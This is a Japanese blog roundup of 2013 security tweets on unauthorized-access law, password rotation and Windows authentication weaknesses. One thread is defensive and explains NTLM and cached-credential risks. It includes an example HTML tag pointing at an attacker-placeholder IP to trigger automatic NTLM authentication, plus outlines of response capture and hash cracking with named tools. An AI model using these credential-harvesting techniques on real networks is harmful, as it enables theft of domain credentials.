9月7〜8日のtwitterセキュリティクラスタ

2021年8月4日

yousukezan

9月7日のtwitterセキュリティクラスタです。JOEっていろいろな意味で危険ですね。

JOEパスワードでのアクセスは不正アクセスに当たらない！？

河瀬季@tokikawase

書いた → 「パスワード=ID」な場合でも「不正アクセス」で逮捕されるの！？ | あんどろいどスマート android-smart.com/2013/09/unauth…

Kieta（監視されています）@typex20

不正アクセスにはならないという見解はなんか腑に落ちない、セキュリティの運用に不備があると罪を問えないなら既存の法律に不備があるのかも。 / “「パスワード=ID」な場合でも「不正アクセス」で逮捕されるの！？ | あんどろいどスマート” htn.to/TD8mfM

河瀬季@tokikawase

@typex20 僕も個人的にはそう考えています。不正アクセス、未遂罪がないので、これが不正アクセスにならないと、「(FTPあたりを想定し)適当なIDにpwd=IDで試行しまくる」がフリーハンドになりそうな…。東北大の方がどう考えているのか資料が見つからなかったんですが…

河瀬季@tokikawase

1.pwd=idなら不正アクセスの構成要件非該当、だと仮にすると、2.不正アクセスは未遂処罰なし、だから、ftpか何かで適当なidとpwd=idで試行しまくるのは、業務妨害レベルなdosにならない限り不可罰、ですよね。仮にそうなら、速やかに未遂処罰すべきである気がする

Youhei Kondou@dw3w4at

Joeアカウントをはじかない認証システムがタコなのと、不正アクセス禁止法の要件を満たさないか否かは、全く別問題じゃね？

kusanoさん@がんばらない@kusano_k

パスワードで＝IDで、IDに規則性があるって、もはや不正アクセス禁止法が定義する識別符号では無いのでは……？
【大阪市職員不正アクセス】自分の所得証明書を偽造か人事評価、昇任試験の資料ものぞく – MSN産経west
sankei.jp.msn.com/west/west_affa…

パスワードの定期的変更とそれにちょっと関連したWindowsの認証についての連続ツイート。必見です。

piyokango@piyokango

世の中に満ち溢れる「パスワードの定期的変更」についてまとめてみた。 – piyolog d.hatena.ne.jp/Kango/20130907…

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

世の中に満ち溢れる「パスワードの定期的変更」についてまとめてみた。 – piyolog (id:Kango / @piyokango) d.hatena.ne.jp/Kango/20130907…

パスワードの定期変更はDoDのPassword Management Guideline CSC-STD-002-85.あたりが古い話なのかな？定期変更すべしや、有効期限が安全なパスワード長計算式に入ってたり。 bit.ly/15Djf2P

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

自分はパスワードの定期変更否定派ですが、lastpassというパスワード管理ソフトを使っていると、パスワードの変更があまりにも簡単なので結構頻繁に変更してしまいます。最初は15桁のランダムだったのが、それでは飽き足らなくなって20桁のランダム、次は30桁のランダムと、

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

1)前に何度も書いているが、Windowsアカウントについては、LAN内のLM/NTLM認証のチャレンジ／レスポンスを簡単に取得できる手法がいくつもあるので/etc/passwdにパスワードハッシュが格納されていて誰でも見れる状態と同じと考えたほうが良い

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

2)LM/NTLM認証のチャレンジ／レスポンスは、ADやSAMに保存されるLMハッシュ、NTLMハッシュとは別物、John the RipperではNETLM, NETLMv2, NETNTLM, NETNTLMv2と呼ばれる

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

3)特にLM認証は危険、LMには前半後半７文字ずつのチャンクへの分割、大小英字を区別しないという問題があるので１４文字以下ならどんなに複雑なパスワードでも１日以内に解析可能

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

4)Vista以降ではLmCompatibilityLevel「３：NTLMv2応答のみ送信」が既定になっているが、XPでは「０．LMとNTLM応答を送信」が既定。LMハッシュを保存しないようにしていてもLmCompatibilityLevelが０か１だとLM応答を送信してしまう

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

5)但し、LmCompatibilityLevelが０か１でも１５文字以上のパスワードにすればLM応答は送信されない（無効な値が送られる）

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

6)よって、パスワードの定期変更よりもLmCompatibilityLevelの方が重要。XPでは規定値から２又は３に変更。Vista以降で、NTLMv2に対応していない古いNASとの互換性のために変更する場合も、決して０や１にしてはならない

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

7)oclhashcat-plus hashcat.net/oclhashcat-plu… などのGPUを使用したパスワード解析ツールもNetNTLMv2に対応してきているので、「NTLMv2応答のみ送信」の場合でも決して安心ではなく、十分に複雑なパスワードにする必要がある

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

8)Webサービスの認証の場合、ストレッチ回数を増やすなどして計算量を増やすことができるが、LM/NTLM認証では計算量は固定で変更出来ない。しかも１０数年前の設計で現在のようにGPUを使用したクラックなど考慮されていない

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

9)「NTLMv2応答のみ送信」の場合、何文字以上なら安心かは難しいが、自分なら英数字記号混在で１３文字以上、ハギーアタック（ショルダーハッキングとオフラインクラックの組み合わせ）を考慮すると１５文字以上にするかな？

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

10)さすがに全ユーザにそこまでのポリシーを強要するのは難しいという場合、有効期限を設けて定期変更させるのも低減策の１つにはなると思う。もっともLAN上の人は全て信用出来るという前提があれば、そこまでは必要ないかもしれないが、既にLAN上のPCが乗っ取られている可能性もある

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

11)もう１つ加えると、DCC(Domain Cached Credentials)の問題、ドメイン下のWindowsではログオン時にドメイン・コントローラに接続出来ない場合でもログオン出来るように以前のログオン情報がローカルにキャッシュされている（既定で過去１０ユーザを記録）

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

12)レジストリよりDCCを取り出すツールはcachedump、MetasploitのPostモジュール等色々あり、取り出したハッシュはJohn-the-Ripper、CainやGPU対応のoclhashcat-plus等で解析できる

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

13)DCCのアルゴリズムはNTLMハッシュを改良したもの。Vista以降では更にアルゴリズムが強化されているが解析ツールはどちらにも対応している。NTLMハッシュと同一ではないのでPass-the-Hashは出来ない

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

14)PCの初期セットアップ時の動作確認で情シス部員がドメイン管理者でログインしたり、システム管理者やヘルプデスクなどがリモートデスクトップでドメイン管理者でログインして作業するとDCCが記録される

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

15)DCCは既定で過去１０ユーザが記録されるので（１０回のログインではない）、数年前の管理者ログオンがキャッシュに残っている可能性がある。但し、PsExec、WMICなどのネットワークログオンではDCCは記録されないので、運用管理にはPsExec、WMICを使うのも一案

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

16)標的型攻撃などでWindows端末が乗っ取られると、DCCを取得してドメイン管理者のパスワードを解析するのは攻撃者の常套手段。DCCを記録しないように設定することもできるが、ドメイン障害時やノートPCをオフラインで使用する時にログオン出来なくなる

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

17)よって、ドメイン管理者などの管理者パスワードは、例えハッシュを取得されても簡単には解析されないよう。十分長く複雑なものにする必要がある

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

18)Windowsの認証関係は、このようにかなり脆弱な状態だが、過去との互換性の問題もありバッサリ切り捨てるわけにもいかないだろう。問題を認識しつつ、付き合っていくことが必要

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

19)昨日のWindowsアカウントのパスワード解析に関する話　togetter.com/li/560409 の補足で、LAN内のLM/NTLM認証のチャレンジ／レスポンスを取得する方法について書いてみたい

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

20)Windowsではファイル共有などネットワーク上のリソースにアクセスする場合、自動的にログオンしているユーザでの認証要求を送出してしまう。認証はチャレンジ／レスポンス方式で行われ、その両方をキャプチャすることでパスワードの解析が出来る

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

21)自動送信された認証が失敗するとダイアログが出るので、ダイアログにID・パスワードを入力し送信した時に初めて認証要求が送出されると錯覚してしまいがちだが、最初にアクセスした段階で既に自動送出されてしまっているのである

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

22)よって、攻撃者が自分がコントロールできるPC上でファイル共有を作成し、「資料を公開しました」などの通知を行えば、後はアクセスしてきた認証要求のチャレンジ／レスポンスをキャプチャし、解析するだけ

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

23)また、社内Webなどに<img src=file://\\攻撃者のIP\image.gif>というタグを含んだページを作成したり、そのようなタグを埋め込んだWord文書などを作成し添付ファイルで送信したりすれば、認証要求が自動的に飛んでくる

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

24)ファイル共有だけでなく、NTLM認証を有効にしたWebサーバをイントラネットゾーンに立て、誘導すればブラウザが認証情報を自動送信する（IEの場合）

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

25)その他、NetBIOSの名前要求に対し攻撃者のIPにスプーフィングしたレスポンスを返す、ARP PoisoningによるLayer2でのキャプチャなど、様々な手法があり、それぞれの手法に対し様々なツールが提供されている

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

26)キャプチャしたチャレンジ／レスポンスはJohn the RipperやマルチGPUに対応したoclhashcat-plus hashcat.net/oclhashcat-plu… などで高速に解析出来る

北河拓士 KITAGAWA,Takuji@kitagawa_takuji

27)Windowsアカウントに関しては/etc/passwdにパスワードハッシュが格納されていて誰でも見れる状態と同じと考えたほうが良いというのはそういうこと

その他に気になったことはこのあたり。

眠る羊@sleep_sheep2010

アカウントを乗っ取る『Twitpic』の偽装アプリ【認証注意】 – NAVER まとめ matome.naver.jp/odai/213323784…　これは紛らわしいし、知らないと騙される危険が高い…。Picture TwitpicはTwitpicじゃない、と。

Yucco@受験までツイ減@ikura_oxo

Security camp 2013 に参加してきました（小並感） – G.t.o.e yuccoo.hatenablog.jp/entry/2013/09/…
やっとこさ書きました！！！！

Mitsuhiko Maruyama@maruchan_MM

夏井先生＝＞米国NSAと英国GCHQはインターネット上のどんな暗号文でも解読可能 cyberlaw.cocolog-nifty.com/blog/2013/09/n…

NHKニュース@nhk_news

独誌「米英情報機関スマホに侵入可能」 nhk.jp/N49N62Dy03 #nhk_news

Fox News@FoxNews

#NSA can access most smartphone data, report says fxn.ws/17IOTj4

ITmedia@itmedia

［エンタープライズ］Torの接続ユーザーが激増、ボットネットの仕業と判断 bit.ly/17j9PfH

ITmedia@itmedia

［エンタープライズ］JavaやFlashの脆弱性放置、依然として多数の状況――Websense調査 bit.ly/15bNYYc

セキュリティのささやき@ScanNetSecurity

Scan名誉編集長りく君のセキュリティにゃークサイド「大阪市職員が不正アクセスして人事評価を盗み見してたんだにゃーの巻」（9月9日版） dlvr.it/3wzpZJ

今週も書いたにゃー。

https://matome.naver.jp/odai/2137854150461881401

yousukezan

2013年09月09日

前の記事

アキバに女子向け「アニメイトAKIBAガールズステーション」が…

次の記事

シュタゲゼロ　比屋定真帆のイラストまとめ。